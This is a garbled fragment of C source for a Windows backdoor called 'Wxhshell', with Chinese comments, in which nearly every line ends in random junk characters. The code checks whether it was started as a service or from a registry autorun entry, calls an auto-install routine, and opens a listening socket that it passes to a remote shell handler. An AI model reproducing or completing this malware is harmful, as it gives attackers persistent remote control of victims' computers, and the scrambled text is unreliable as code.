ULONG InheritedFromUniqueProcessId; 1)c=15^
} PROCESS_BASIC_INFORMATION; Vq;{+j(
JUUF^/J
PROCNTQSIP NtQueryInformationProcess; Qnu&GBM
c] :J/'vc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c^q O@%s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LTlC}3c28f
RQ$o'U9A
HANDLE hProcess; -`ys pE0?
PROCESS_BASIC_INFORMATION pbi; 1 _:1/~R1
rym\5
`)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L_CEY
if(NULL == hInst ) return 0; 3YZ3fhpw
/:c,v-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UmHJ/DI@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (B?xq1Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &VBD2_T
`HZHVV$~
if (!NtQueryInformationProcess) return 0; hdNZ":1s
bI6V &Dd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2L{:H
if(!hProcess) return 0; C#u)$Ds
p~{%f#V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JOoLHZQ1v
;*$8iwBQ_
CloseHandle(hProcess); ef1N#z%gt
GE| ^ryh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2%No>w}/2
if(hProcess==NULL) return 0; d .lu
ZkVvL4yIK
HMODULE hMod; -uY:2
char procName[255]; sn T4X
unsigned long cbNeeded; "Qm~;x2kB
oqU#I~ -
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '/]Aaf@U8
d)J] Y=j
CloseHandle(hProcess); W$ d{
VL,?91qwe
if(strstr(procName,"services")) return 1; // 以服务启动 `OpC-Z&
ObHz+qRG
return 0; // 注册表启动 = ,E(!Sp
} o dQ&0d
:?of./Df|
// 主模块 WaZ@
int StartWxhshell(LPSTR lpCmdLine) w<^2h}5
{ %:8q7PN|
SOCKET wsl; Fn0LE~O}-8
BOOL val=TRUE; *ytd.^@r
int port=0; )T~ +>+t
struct sockaddr_in door; =R8.QBVdN
sMpC4E
if(wscfg.ws_autoins) Install(); #__'U6`(
'~x_
port=atoi(lpCmdLine); {
'mY>s7
p]IhQnj2
if(port<=0) port=wscfg.ws_port; 'rx,f
^Y*.Ktp,o
WSADATA data; 'MM~~:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q,h.W JI
If I$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5'L}LT8p@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SvpTs
door.sin_family = AF_INET; F v^80M=z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sy7^;/(ZZ
door.sin_port = htons(port); |Bt x&'m
Q~8&pP8I!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Env}g CX
closesocket(wsl); a9q?9X
return 1;
C(Gb
} T/.y(8!0I8
ra#)*fG,~
if(listen(wsl,2) == INVALID_SOCKET) { aNf3 R; *
closesocket(wsl); n7YWc5:CaL
return 1; OG$iZiuf
} G5@fqh6ws
Wxhshell(wsl); /P:WQ*
WSACleanup(); Ku,A}5-6
9%'HB\A
return 0; }[R@HmN
t;PnjCD<`
} s*U&